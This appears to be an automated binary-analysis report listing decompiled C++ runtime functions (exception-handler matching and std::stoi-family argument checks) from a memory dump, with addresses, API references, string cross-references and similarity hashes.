										_t187 = _t277 + 8; // 0x6e
										_t212 = _t187;
										while(1) {
											_t278 =  *_t281;
											__eflags = _t278 -  *_t212;
											if(_t278 !=  *_t212) {
												break;
											}
											__eflags = _t278;
											if(_t278 == 0) {
												L99:
												_t213 = _t326;
											} else {
												_t279 =  *((intOrPtr*)(_t281 + 1));
												__eflags = _t279 -  *((intOrPtr*)(_t212 + 1));
												if(_t279 !=  *((intOrPtr*)(_t212 + 1))) {
													break;
												} else {
													_t281 = _t281 + 2;
													_t212 = _t212 + 2;
													__eflags = _t279;
													if(_t279 != 0) {
														continue;
													} else {
														goto L99;
													}
												}
											}
											L101:
											__eflags = _t213;
											if(_t213 == 0) {
												goto L103;
											} else {
												_t210 = 0;
											}
											goto L112;
										}
										asm("sbb eax, eax");
										_t213 = _t212 | 0x00000001;
										__eflags = _t213;
										goto L101;
									}
								} else {
									__eflags =  *_t313 & 0x00000010;
									if(( *_t313 & 0x00000010) != 0) {
										goto L111;
									} else {
										goto L93;
									}
								}
							}
						}
						L112:
						return _t210;
					}
				} else {
					_t275 = _a4;
					if( *_t275 != 0xe06d7363 || _t275[0x10] != 3 || _t275[0x14] != 0x19930520 && _t275[0x14] != 0x19930521 && _t275[0x14] != 0x19930522) {
						_t324 = 0;
						__eflags = 0;
						goto L24;
					} else {
						_t324 = 0;
						_t350 = _t275[0x1c];
						if(_t275[0x1c] != 0) {
							L24:
							_t280 = _a12;
							_v12 = _t280;
							goto L26;
						} else {
							_t227 = E004A13A1(_t275, _t280, _t305, _t310, 0, _t350);
							_t351 =  *((intOrPtr*)(_t227 + 0x10));
							if( *((intOrPtr*)(_t227 + 0x10)) == 0) {
								L63:
								return _t227;
							} else {
								_t275 =  *(E004A13A1(_t275, _t280, _t305, _t310, 0, _t351) + 0x10);
								_t266 = E004A13A1(_t275, _t280, _t305, _t310, 0, _t351);
								_v32 = 1;
								_v12 =  *((intOrPtr*)(_t266 + 0x14));
								if(_t275 == 0) {
									goto L69;
								} else {
									if( *_t275 != 0xe06d7363 || _t275[0x10] != 3 || _t275[0x14] != 0x19930520 && _t275[0x14] != 0x19930521 && _t275[0x14] != 0x19930522) {
										L16:
										_t268 = E004A13A1(_t275, _t280, _t305, _t310, _t324, _t358);
										_t359 =  *((intOrPtr*)(_t268 + 0x1c)) - _t324;
										if( *((intOrPtr*)(_t268 + 0x1c)) == _t324) {
											L25:
											_t280 = _v12;
											_t203 = _v16;
											L26:
											_v56 = _t310;
											_v52 = _t324;
											__eflags =  *_t275 - 0xe06d7363;
											if( *_t275 != 0xe06d7363) {
												L59:
												__eflags = _t310[3] - _t324;
												if(__eflags <= 0) {
													goto L62;
												} else {
													__eflags = _a24;
													if(__eflags != 0) {
														goto L69;
													} else {
														_push(_a32);
														_push(_a28);
														_push(_t203);
														_push(_t310);
														_push(_a16);
														_push(_t280);
														_push(_a8);
														_push(_t275);
														L70();
														_t340 = _t340 + 0x20;
														goto L62;
													}
												}
											} else {
												__eflags = _t275[0x10] - 3;
												if(_t275[0x10] != 3) {
													goto L59;
												} else {
													__eflags = _t275[0x14] - 0x19930520;
													if(_t275[0x14] == 0x19930520) {
														L31:
														__eflags = _t310[3] - _t324;
														if(_t310[3] > _t324) {
															_push(_a28);
															E0049EBC3(_t275, _t280, _t310, _t324,  &_v72,  &_v56, _t203, _a16, _t310);
															_t305 = _v68;
															_t340 = _t340 + 0x18;
															_t253 = _v72;
															_v48 = _t253;
															_v20 = _t305;
															__eflags = _t305 - _v60;
															if(_t305 < _v60) {
																_t295 = _t305 * 0x14;
																__eflags = _t295;
																_v36 = _t295;
																do {
																	_t296 = 5;
																	_t256 = memcpy( &_v108,  *((intOrPtr*)( *_t253 + 0x10)) + _t295, _t296 << 2);
																	_t340 = _t340 + 0xc;
																	__eflags = _v108 - _t256;
																	if(_v108 <= _t256) {
																		__eflags = _t256 - _v104;
																		if(_t256 <= _v104) {
																			_t299 = 0;
																			_v24 = 0;
																			__eflags = _v96;
																			if(_v96 != 0) {
																				_t258 =  *(_t275[0x1c] + 0xc);
																				_t308 =  *_t258;
																				_t259 =  &(_t258[1]);
																				__eflags = _t259;
																				_v40 = _t259;
																				_t260 = _v92;
																				_v44 = _t308;
																				_v28 = _t260;
																				do {
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					asm("movsd");
																					_t323 = _v40;
																					_t335 = _t308;
																					__eflags = _t335;
																					if(_t335 <= 0) {
																						goto L42;
																					} else {
																						while(1) {
																							_push(_t275[0x1c]);
																							_t261 =  &_v88;
																							_push( *_t323);
																							_push(_t261);
																							L89();
																							_t340 = _t340 + 0xc;
																							__eflags = _t261;
																							if(_t261 != 0) {
																								break;
																							}
																							_t335 = _t335 - 1;
																							_t323 = _t323 + 4;
																							__eflags = _t335;
																							if(_t335 > 0) {
																								continue;
																							} else {
																								_t299 = _v24;
																								_t260 = _v28;
																								_t308 = _v44;
																								goto L42;
																							}
																							goto L45;
																						}
																						_push(_a24);
																						_v5 = 1;
																						_push(_v32);
																						E004A169D(_t308, _t275, _a8, _v12, _a16, _a20,  &_v88,  *_t323,  &_v108, _a28, _a32);
																						_t340 = _t340 + 0x30;
																					}
																					L45:
																					_t305 = _v20;
																					goto L46;
																					L42:
																					_t299 = _t299 + 1;
																					_t260 = _t260 + 0x10;
																					_v24 = _t299;
																					_v28 = _t260;
																					__eflags = _t299 - _v96;
																				} while (_t299 != _v96);
																				goto L45;
																			}
																		}
																	}
																	L46:
																	_t305 = _t305 + 1;
																	_t253 = _v48;
																	_t295 = _v36 + 0x14;
																	_v20 = _t305;
																	_v36 = _t295;
																	__eflags = _t305 - _v60;
																} while (_t305 < _v60);
																_t310 = _a20;
																_t324 = 0;
																__eflags = 0;
															}
														}
														__eflags = _a24;
														if(_a24 != 0) {
															_push(1);
															E004A1196();
															_t280 = _t275;
														}
														__eflags = _v5;
														if(__eflags != 0) {
															L62:
															_t227 = E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags);
															__eflags =  *((intOrPtr*)(_t227 + 0x1c)) - _t324;
															if( *((intOrPtr*)(_t227 + 0x1c)) != _t324) {
																goto L69;
															} else {
																goto L63;
															}
														} else {
															__eflags = ( *_t310 & 0x1fffffff) - 0x19930521;
															if(__eflags < 0) {
																goto L62;
															} else {
																__eflags = _t310[7];
																if(_t310[7] != 0) {
																	L55:
																	__eflags = _t310[8] >> 0x00000002 & 0x00000001;
																	if(__eflags == 0) {
																		_push(_t310[7]);
																		_t232 = E004A2114(_t275, _t310, _t324, _t275);
																		_pop(_t280);
																		__eflags = _t232;
																		if(__eflags == 0) {
																			goto L66;
																		} else {
																			goto L62;
																		}
																	} else {
																		 *(E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags) + 0x10) = _t275;
																		 *((intOrPtr*)(E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags) + 0x14)) = _v12;
																		goto L64;
																	}
																} else {
																	__eflags = _t310[8] >> 0x00000002 & 0x00000001;
																	if(__eflags == 0) {
																		goto L62;
																	} else {
																		__eflags = _a28;
																		if(__eflags != 0) {
																			goto L62;
																		} else {
																			goto L55;
																		}
																	}
																}
															}
														}
													} else {
														__eflags = _t275[0x14] - 0x19930521;
														if(_t275[0x14] == 0x19930521) {
															goto L31;
														} else {
															__eflags = _t275[0x14] - 0x19930522;
															if(_t275[0x14] != 0x19930522) {
																goto L59;
															} else {
																goto L31;
															}
														}
													}
												}
											}
										} else {
											_v20 =  *((intOrPtr*)(E004A13A1(_t275, _t280, _t305, _t310, _t324, _t359) + 0x1c));
											_t271 = E004A13A1(_t275, _t280, _t305, _t310, _t324, _t359);
											_push(_v20);
											 *(_t271 + 0x1c) = _t324;
											if(E004A2114(_t275, _t310, _t324, _t275) != 0) {
												goto L25;
											} else {
												_t310 = _v20;
												_t361 =  *_t310 - _t324;
												if( *_t310 <= _t324) {
													L64:
													E004A5A7D();
												} else {
													_t302 = _t324;
													_v20 = _t324;
													while(E0043CC09( *((intOrPtr*)(_t302 + _t310[1] + 4)), _t361, 0x4ec894) == 0) {
														_t324 = _t324 + 1;
														_t302 = _v20 + 0x10;
														_v20 = _v20 + 0x10;
														_t361 = _t324 -  *_t310;
														if(_t324 >=  *_t310) {
															goto L64;
														} else {
															continue;
														}
														goto L65;
													}
												}
												L65:
												_push(1);
												_push(_t275);
												E004A1196();
												_t280 =  &_v68;
												E004A1DB4( &_v68);
												E004A1116( &_v68, 0x4e86cc);
												L66:
												 *(E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags) + 0x10) = _t275;
												_t234 = E004A13A1(_t275, _t280, _t305, _t310, _t324, __eflags);
												_t280 = _v12;
												 *(_t234 + 0x14) = _v12;
												_t235 = _a32;
												__eflags = _t235;
												if(_t235 == 0) {
													_t235 = _a8;
												}
												E0049EDA7(_t280, _t235, _t275);
												E004A2014(_a8, _a16, _t310);
												_t238 = E004A21D1(_t310);
												_t340 = _t340 + 0x10;
												_push(_t238);
												E004A1F90(_t275, _t280, _t305, _t310, _t324, __eflags);
												goto L69;
											}
										}
									} else {
										_t358 = _t275[0x1c] - _t324;
										if(_t275[0x1c] == _t324) {
											goto L69;
										} else {
											goto L16;
										}
									}
								}
							}
						}
					}
				}
			}

0x004a171d
0x004a171d
0x004a1724
0x004a1726
0x004a172f
0x004a1735
0x004a1738
0x004a173d
0x004a1740
0x004a1746
0x004a1acd
0x004a1acd
0x004a1ad2
0x004a1ad4
0x004a1ad6
0x004a1ad9
0x004a1ada
0x004a1add
0x004a1ae3
0x004a1c02
0x004a1ae9
0x004a1ae9
0x004a1aea
0x004a1af2
0x004a1af5
0x004a1afe
0x004a1b00
0x004a1b05
0x004a1b08
0x004a1b0a
0x004a1b10
0x004a1b12
0x004a1b18
0x004a1b2d
0x004a1b32
0x004a1b35
0x004a1b37
0x004a1bfe
0x00000000
0x004a1bff
0x004a1b37
0x004a1b18
0x004a1b10
0x004a1b08
0x004a1b3d
0x004a1b40
0x004a1b43
0x004a1b46
0x004a1b49
0x004a1b4f
0x004a1b61
0x004a1b66
0x004a1b69
0x004a1b6c
0x004a1b6f
0x004a1b72
0x004a1b75
0x004a1b78
0x00000000
0x00000000
0x004a1b7e
0x004a1b7e
0x004a1b81
0x004a1b84
0x004a1b93
0x004a1b94
0x004a1b94
0x004a1b96
0x004a1b99
0x00000000
0x00000000
0x004a1b9b
0x004a1b9e
0x00000000
0x00000000
0x004a1bac
0x004a1bae
0x004a1bb1
0x004a1bb3
0x004a1bbb
0x004a1bbb
0x004a1bbe
0x004a1bc0
0x004a1bc2
0x004a1bde
0x004a1be3
0x004a1be6
0x004a1be6
0x00000000
0x004a1bbe
0x004a1bb5
0x004a1bb9
0x00000000
0x00000000
0x00000000
0x004a1be9
0x004a1bec
0x004a1bed
0x004a1bf0
0x004a1bf3
0x004a1bf6
0x004a1bf9
0x004a1bf9
0x00000000
0x004a1b84
0x004a1c03
0x004a1c08
0x004a1c09
0x004a1c0c
0x004a1c0f
0x004a1c10
0x004a1c11
0x004a1c12
0x004a1c15
0x004a1c17
0x004a1c8f
0x004a1c91
0x004a1c91
0x004a1c19
0x004a1c19
0x004a1c1c
0x004a1c1f
0x00000000
0x004a1c21
0x004a1c21
0x004a1c24
0x004a1c27
0x004a1c2e
0x004a1c2e
0x004a1c31
0x004a1c33
0x004a1c35
0x004a1c67
0x004a1c67
0x004a1c6a
0x004a1c71
0x004a1c71
0x004a1c74
0x004a1c77
0x004a1c7e
0x004a1c7e
0x004a1c81
0x004a1c88
0x004a1c8a
0x004a1c8a
0x004a1c83
0x004a1c83
0x004a1c86
0x00000000
0x00000000
0x004a1c86
0x004a1c79
0x004a1c79
0x004a1c7c
0x00000000
0x00000000
0x004a1c7c
0x004a1c6c
0x004a1c6c
0x004a1c6f
0x00000000
0x00000000
0x004a1c6f
0x004a1c8b
0x004a1c37
0x004a1c37
0x004a1c37
0x004a1c3a
0x004a1c3a
0x004a1c3c
0x004a1c3e
0x00000000
0x00000000
0x004a1c40
0x004a1c42
0x004a1c56
0x004a1c56
0x004a1c44
0x004a1c44
0x004a1c47
0x004a1c4a
0x00000000
0x004a1c4c
0x004a1c4c
0x004a1c4f
0x004a1c52
0x004a1c54
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1c54
0x004a1c4a
0x004a1c5f
0x004a1c5f
0x004a1c61
0x00000000
0x004a1c63
0x004a1c63
0x004a1c63
0x00000000
0x004a1c61
0x004a1c5a
0x004a1c5c
0x004a1c5c
0x00000000
0x004a1c5c
0x004a1c29
0x004a1c29
0x004a1c2c
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1c2c
0x004a1c27
0x004a1c1f
0x004a1c92
0x004a1c96
0x004a1c96
0x004a1755
0x004a1755
0x004a175e
0x004a1860
0x004a1860
0x00000000
0x004a178d
0x004a178d
0x004a178f
0x004a1792
0x004a1862
0x004a1862
0x004a1865
0x00000000
0x004a1798
0x004a1798
0x004a179d
0x004a17a0
0x004a1a64
0x004a1a68
0x004a17a6
0x004a17ab
0x004a17ae
0x004a17b3
0x004a17ba
0x004a17bf
0x00000000
0x004a17c5
0x004a17cb
0x004a17f7
0x004a17f7
0x004a17fc
0x004a17ff
0x004a186a
0x004a186a
0x004a186d
0x004a1870
0x004a1870
0x004a1873
0x004a1876
0x004a187c
0x004a1a33
0x004a1a33
0x004a1a36
0x00000000
0x004a1a38
0x004a1a38
0x004a1a3c
0x00000000
0x004a1a42
0x004a1a42
0x004a1a45
0x004a1a48
0x004a1a49
0x004a1a4a
0x004a1a4d
0x004a1a4e
0x004a1a51
0x004a1a52
0x004a1a57
0x00000000
0x004a1a57
0x004a1a3c
0x004a1882
0x004a1882
0x004a1886
0x00000000
0x004a188c
0x004a188c
0x004a1893
0x004a18ab
0x004a18ab
0x004a18ae
0x004a18b4
0x004a18c4
0x004a18c9
0x004a18cc
0x004a18cf
0x004a18d2
0x004a18d5
0x004a18d8
0x004a18db
0x004a18e1
0x004a18e1
0x004a18e4
0x004a18e7
0x004a18f6
0x004a18f7
0x004a18f7
0x004a18f9
0x004a18fc
0x004a1902
0x004a1905
0x004a190b
0x004a190d
0x004a1910
0x004a1913
0x004a191c
0x004a191f
0x004a1921
0x004a1921
0x004a1924
0x004a1927
0x004a192a
0x004a192d
0x004a1930
0x004a1935
0x004a1936
0x004a1937
0x004a1938
0x004a1939
0x004a193c
0x004a193e
0x004a1940
0x00000000
0x004a1942
0x004a1942
0x004a1942
0x004a1945
0x004a1948
0x004a194a
0x004a194b
0x004a1950
0x004a1953
0x004a1955
0x00000000
0x00000000
0x004a1957
0x004a1958
0x004a195b
0x004a195d
0x00000000
0x004a195f
0x004a195f
0x004a1962
0x004a1965
0x00000000
0x004a1965
0x00000000
0x004a195d
0x004a1979
0x004a197f
0x004a1983
0x004a19a0
0x004a19a5
0x004a19a5
0x004a19a8
0x004a19a8
0x00000000
0x004a1968
0x004a1968
0x004a1969
0x004a196c
0x004a196f
0x004a1972
0x004a1972
0x00000000
0x004a1977
0x004a1913
0x004a1905
0x004a19ab
0x004a19ae
0x004a19af
0x004a19b2
0x004a19b5
0x004a19b8
0x004a19bb
0x004a19bb
0x004a19c4
0x004a19c7
0x004a19c7
0x004a19c7
0x004a18db
0x004a19c9
0x004a19cd
0x004a19cf
0x004a19d2
0x004a19d8
0x004a19d8
0x004a19d9
0x004a19dd
0x004a1a5a
0x004a1a5a
0x004a1a5f
0x004a1a62
0x00000000
0x00000000
0x00000000
0x00000000
0x004a19df
0x004a19e6
0x004a19eb
0x00000000
0x004a19ed
0x004a19ed
0x004a19f1
0x004a1a03
0x004a1a09
0x004a1a0b
0x004a1a22
0x004a1a26
0x004a1a2c
0x004a1a2d
0x004a1a2f
0x00000000
0x004a1a31
0x00000000
0x004a1a31
0x004a1a0d
0x004a1a12
0x004a1a1d
0x00000000
0x004a1a1d
0x004a19f3
0x004a19f9
0x004a19fb
0x00000000
0x004a19fd
0x004a19fd
0x004a1a01
0x00000000
0x00000000
0x00000000
0x00000000
0x004a1a01
0x004a19fb
0x004a19f1
0x004a19eb
0x004a1895
0x004a1895
0x004a189c
0x00000000
0x004a189e
0x004a189e
0x004a18a5
0x00000000
0x00000000
0x00000000
0x00000000
0x004a18a5
0x004a189c
0x004a1893
0x004a1886
0x004a1801
0x004a1809
0x004a180c
0x004a1811
0x004a1815
0x004a1821
0x00000000
0x004a1823
0x004a1823
0x004a1826
0x004a1828
0x004a1a69
0x004a1a69
0x004a182e
0x004a182e
0x004a1830
0x004a1833
0x004a184f
0x004a1850
0x004a1853
0x004a1856
0x004a1858
0x00000000
0x004a185e
0x00000000
0x004a185e
0x00000000
0x004a1858
0x004a1833
0x004a1a6e
0x004a1a6e
0x004a1a70
0x004a1a71
0x004a1a78
0x004a1a7b
0x004a1a89
0x004a1a8e
0x004a1a93
0x004a1a96
0x004a1a9b
0x004a1a9e
0x004a1aa1
0x004a1aa4
0x004a1aa6
0x004a1aa8
0x004a1aa8
0x004a1aad
0x004a1ab9
0x004a1abf
0x004a1ac4
0x004a1ac7
0x004a1ac8
0x00000000
0x004a1ac8
0x004a1821
0x004a17ee
0x004a17ee
0x004a17f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004a17f1
0x004a17cb
0x004a17bf
0x004a17a0
0x004a1792
0x004a175e

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 004A1818
___TypeMatch.LIBVCRUNTIME ref: 004A194B
CatchIt.LIBVCRUNTIME ref: 004A19A0
IsInExceptionSpec.LIBVCRUNTIME ref: 004A1A26
_UnwindNestedFrames.LIBCMT ref: 004A1AAD
CallUnexpected.LIBVCRUNTIME ref: 004A1AC8

Strings

csm, xrefs: 004A17C5
csm, xrefs: 004A1758
csm, xrefs: 004A1876

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwind
String ID: csm$csm$csm
API String ID: 2378971308-393685449
Opcode ID: 1b13ae45695fb3058d400e6f74962d7ef479bdd9b8ffd059acf6acaa26f0f670
Instruction ID: 4ab6f381fd399765fc504cc7a4e68d42dbb66551b00f81a89a874517e2493f57
Opcode Fuzzy Hash: 1b13ae45695fb3058d400e6f74962d7ef479bdd9b8ffd059acf6acaa26f0f670
Instruction Fuzzy Hash: 51C17B71D002099FCF15DFA5C8819AFBBB9BF2A314F44405FE8116B222D339DA51CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0043E2F9, Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E0043E2F9(intOrPtr* __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v52;
				signed int _v72;
				signed int _v92;
				signed int _t32;
				signed int _t39;
				signed int* _t41;
				signed int _t46;
				signed int* _t48;
				signed int _t53;
				signed int* _t55;
				signed int _t60;
				signed int* _t62;
				intOrPtr* _t77;
				void* _t88;
				signed int* _t90;
				signed int* _t91;
				signed int* _t92;
				signed int* _t93;
				signed int* _t94;
				intOrPtr* _t97;
				intOrPtr* _t98;
				intOrPtr* _t99;
				intOrPtr* _t100;
				signed int _t103;
				signed int _t104;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t113;
				signed int _t114;
				signed int _t115;
				signed int _t116;
				signed int _t117;

				_t88 = __edx;
				_t77 = __ecx;
				_t103 = _t113;
				_push(__ecx);
				_push(__ecx);
				_t32 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t32 ^ _t103;
				_t96 = __ecx;
				_t90 = E004A966E();
				if( *((intOrPtr*)(__ecx + 0x14)) >= 0x10) {
					_t96 =  *__ecx;
				}
				 *_t90 =  *_t90 & 0x00000000;
				E004AD09C(_t77, _t96,  &_v12, 0xa);
				_t114 = _t113 + 0xc;
				if(_t96 == _v12) {
					E00488FCD("invalid stoi argument");
					goto L6;
				} else {
					_pop(_t90);
					_pop(_t96);
					if( *_t90 == 0x22) {
						L6:
						E0048900D("stoi argument out of range");
						asm("int3");
						_push(_t103);
						_t104 = _t114;
						_push(_t77);
						_push(_t77);
						_t39 =  *0x4eb018; // 0x6027d6a0
						_v32 = _t39 ^ _t104;
						_push(_t96);
						_push(_t90);
						_t97 = _t77;
						_t41 = E004A966E();
						__eflags =  *((intOrPtr*)(_t97 + 0x14)) - 0x10;
						_t91 = _t41;
						if( *((intOrPtr*)(_t97 + 0x14)) >= 0x10) {
							_t97 =  *_t97;
						}
						 *_t91 =  *_t91 & 0x00000000;
						E004AD0F4(_t77, _t97,  &_v16, 0xa);
						_t115 = _t114 + 0xc;
						__eflags = _t97 - _v16;
						if(_t97 == _v16) {
							E00488FCD("invalid stoul argument");
							goto L12;
						} else {
							__eflags =  *_t91 - 0x22;
							_pop(_t91);
							_pop(_t97);
							if( *_t91 == 0x22) {
								L12:
								E0048900D("stoul argument out of range");
								asm("int3");
								_push(_t104);
								_t105 = _t115;
								_push(_t77);
								_push(_t77);
								_t46 =  *0x4eb018; // 0x6027d6a0
								_v52 = _t46 ^ _t105;
								_push(_t97);
								_push(_t91);
								_t98 = _t77;
								_t48 = E004A966E();
								__eflags =  *((intOrPtr*)(_t98 + 0x14)) - 0x10;
								_t92 = _t48;
								if( *((intOrPtr*)(_t98 + 0x14)) >= 0x10) {
									_t98 =  *_t98;
								}
								 *_t92 =  *_t92 & 0x00000000;
								E004AD0C8(_t77, _t98,  &_v20, 0xa);
								_t116 = _t115 + 0xc;
								__eflags = _t98 - _v20;
								if(_t98 == _v20) {
									E00488FCD("invalid stoll argument");
									goto L18;
								} else {
									__eflags =  *_t92 - 0x22;
									_pop(_t92);
									_pop(_t98);
									if( *_t92 == 0x22) {
										L18:
										E0048900D("stoll argument out of range");
										asm("int3");
										_push(_t105);
										_t106 = _t116;
										_push(_t77);
										_push(_t77);
										_t53 =  *0x4eb018; // 0x6027d6a0
										_v72 = _t53 ^ _t106;
										_push(_t98);
										_push(_t92);
										_t99 = _t77;
										_t55 = E004A966E();
										__eflags =  *((intOrPtr*)(_t99 + 0x14)) - 0x10;
										_t93 = _t55;
										if( *((intOrPtr*)(_t99 + 0x14)) >= 0x10) {
											_t99 =  *_t99;
										}
										 *_t93 =  *_t93 & 0x00000000;
										E004AD120(_t77, _t99,  &_v24, 0x10);
										_t117 = _t116 + 0xc;
										__eflags = _t99 - _v24;
										if(_t99 == _v24) {
											E00488FCD("invalid stoull argument");
											goto L24;
										} else {
											__eflags =  *_t93 - 0x22;
											_pop(_t93);
											_pop(_t99);
											if( *_t93 == 0x22) {
												L24:
												E0048900D("stoull argument out of range");
												asm("int3");
												_push(_t106);
												_t107 = _t117;
												_push(_t77);
												_push(_t77);
												_t60 =  *0x4eb018; // 0x6027d6a0
												_v92 = _t60 ^ _t107;
												_push(_t99);
												_push(_t93);
												_t100 = _t77;
												_t62 = E004A966E();
												__eflags =  *((intOrPtr*)(_t100 + 0x14)) - 8;
												_t94 = _t62;
												if( *((intOrPtr*)(_t100 + 0x14)) >= 8) {
													_t100 =  *_t100;
												}
												 *_t94 =  *_t94 & 0x00000000;
												E004AD178(_t77, _t100,  &_v28, 0xa);
												__eflags = _t100 - _v28;
												if(_t100 == _v28) {
													E00488FCD("invalid stoll argument");
													goto L30;
												} else {
													__eflags =  *_t94 - 0x22;
													_pop(_t94);
													_pop(_t100);
													if( *_t94 == 0x22) {
														L30:
														E0048900D("stoll argument out of range");
														asm("int3");
														_push(8);
														E0049D90B(0x4c567f, _t94, _t100);
														_t101 = _t77;
														_v40 = _t77;
														_v36 = _v36 & 0x00000000;
														E00481E8C(_t77, _t88, _t94, _t77, __eflags);
														_t29 =  &_v24;
														 *_t29 = _v24 & 0x00000000;
														__eflags =  *_t29;
														_v36 = 1;
														return E0049D8D4(_t101);
													} else {
														__eflags = _v24 ^ _t107;
														return E0049CE1D(_v24 ^ _t107);
													}
												}
											} else {
												__eflags = _v20 ^ _t106;
												return E0049CE1D(_v20 ^ _t106);
											}
										}
									} else {
										__eflags = _v16 ^ _t105;
										return E0049CE1D(_v16 ^ _t105);
									}
								}
							} else {
								__eflags = _v12 ^ _t104;
								return E0049CE1D(_v12 ^ _t104);
							}
						}
					} else {
						return E0049CE1D(_v8 ^ _t103);
					}
				}
			}

0x0043e2f9
0x0043e2f9
0x0043e2fa
0x0043e2fc
0x0043e2fd
0x0043e2fe
0x0043e305
0x0043e30a
0x0043e315
0x0043e317
0x0043e319
0x0043e319
0x0043e31b
0x0043e325
0x0043e32a
0x0043e330
0x0043e34a
0x00000000
0x0043e332
0x0043e335
0x0043e336
0x0043e337
0x0043e34f
0x0043e354
0x0043e359
0x0043e35a
0x0043e35b
0x0043e35d
0x0043e35e
0x0043e35f
0x0043e366
0x0043e369
0x0043e36a
0x0043e36b
0x0043e36d
0x0043e372
0x0043e376
0x0043e378
0x0043e37a
0x0043e37a
0x0043e37c
0x0043e386
0x0043e38b
0x0043e38e
0x0043e391
0x0043e3ab
0x00000000
0x0043e393
0x0043e393
0x0043e396
0x0043e397
0x0043e398
0x0043e3b0
0x0043e3b5
0x0043e3ba
0x0043e3bb
0x0043e3bc
0x0043e3be
0x0043e3bf
0x0043e3c0
0x0043e3c7
0x0043e3ca
0x0043e3cb
0x0043e3cc
0x0043e3ce
0x0043e3d3
0x0043e3d7
0x0043e3d9
0x0043e3db
0x0043e3db
0x0043e3dd
0x0043e3e7
0x0043e3ec
0x0043e3ef
0x0043e3f2
0x0043e40c
0x00000000
0x0043e3f4
0x0043e3f4
0x0043e3f7
0x0043e3f8
0x0043e3f9
0x0043e411
0x0043e416
0x0043e41b
0x0043e41c
0x0043e41d
0x0043e41f
0x0043e420
0x0043e421
0x0043e428
0x0043e42b
0x0043e42c
0x0043e42d
0x0043e42f
0x0043e434
0x0043e438
0x0043e43a
0x0043e43c
0x0043e43c
0x0043e43e
0x0043e448
0x0043e44d
0x0043e450
0x0043e453
0x0043e46d
0x00000000
0x0043e455
0x0043e455
0x0043e458
0x0043e459
0x0043e45a
0x0043e472
0x0043e477
0x0043e47c
0x0043e47d
0x0043e47e
0x0043e480
0x0043e481
0x0043e482
0x0043e489
0x0043e48c
0x0043e48d
0x0043e48e
0x0043e490
0x0043e495
0x0043e499
0x0043e49b
0x0043e49d
0x0043e49d
0x0043e49f
0x0043e4a9
0x0043e4b1
0x0043e4b4
0x0043e4ce
0x00000000
0x0043e4b6
0x0043e4b6
0x0043e4b9
0x0043e4ba
0x0043e4bb
0x0043e4d3
0x0043e4d8
0x0043e4dd
0x0043e4de
0x0043e4e5
0x0043e4ea
0x0043e4ec
0x0043e4ef
0x0043e4f3
0x0043e4f8
0x0043e4f8
0x0043e4f8
0x0043e4fc
0x0043e50a
0x0043e4bd
0x0043e4c0
0x0043e4c8
0x0043e4c8
0x0043e4bb
0x0043e45c
0x0043e45f
0x0043e467
0x0043e467
0x0043e45a
0x0043e3fb
0x0043e3fe
0x0043e406
0x0043e406
0x0043e3f9
0x0043e39a
0x0043e39d
0x0043e3a5
0x0043e3a5
0x0043e398
0x0043e339
0x0043e344
0x0043e344
0x0043e337

APIs

Part of subcall function 00488FCD: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00488FD9

Part of subcall function 0048900D: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00489019

__EH_prolog3.LIBCMT ref: 0043E4E5

Part of subcall function 00481E8C: __EH_prolog3_GS.LIBCMT ref: 00481E93

Strings

stoll argument out of range, xrefs: 0043E411, 0043E4D3
invalid stoi argument, xrefs: 0043E345
invalid stoul argument, xrefs: 0043E3A6
invalid stoull argument, xrefs: 0043E468
stoul argument out of range, xrefs: 0043E3B0
stoull argument out of range, xrefs: 0043E472
invalid stoll argument, xrefs: 0043E407, 0043E4C9
stoi argument out of range, xrefs: 0043E34F

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$H_prolog3H_prolog3_
String ID: invalid stoi argument$invalid stoll argument$invalid stoul argument$invalid stoull argument$stoi argument out of range$stoll argument out of range$stoul argument out of range$stoull argument out of range
API String ID: 3311459110-713895927
Opcode ID: 74c82ef38a882ccaea86cd491ec0dbffc818294eb6a7d3a46d34aa31cfbf922d
Instruction ID: 71a53767b0b32d58ad89a8a73b3650285488d8a52666623cfe33ea411ebaff05
Opcode Fuzzy Hash: 74c82ef38a882ccaea86cd491ec0dbffc818294eb6a7d3a46d34aa31cfbf922d
Instruction Fuzzy Hash: C051E831A01318BBCF24BF569842ADEB7A8DF19715F50046FF50167281DB786F448BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00492B0B, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00492B0B(intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t32;
				intOrPtr _t36;
				signed int _t45;
				intOrPtr _t51;
				intOrPtr _t52;
				signed int _t53;
				intOrPtr _t65;
				void* _t66;

				_t52 = __ecx;
				_push(0x64);
				E0049D93F(0x4d6dcb, __edi, __esi);
				_t51 = _t52;
				 *((intOrPtr*)(_t66 - 0x6c)) = E004A5AB9();
				_t32 = E00489787(_t66 - 0x68);
				_t53 = 0xb;
				 *((intOrPtr*)(_t66 - 0x70)) = _t51;
				memcpy(_t66 - 0x3c, _t32, _t53 << 2);
				 *((intOrPtr*)(_t51 + 8)) = 0;
				 *((intOrPtr*)(_t51 + 0x10)) = 0;
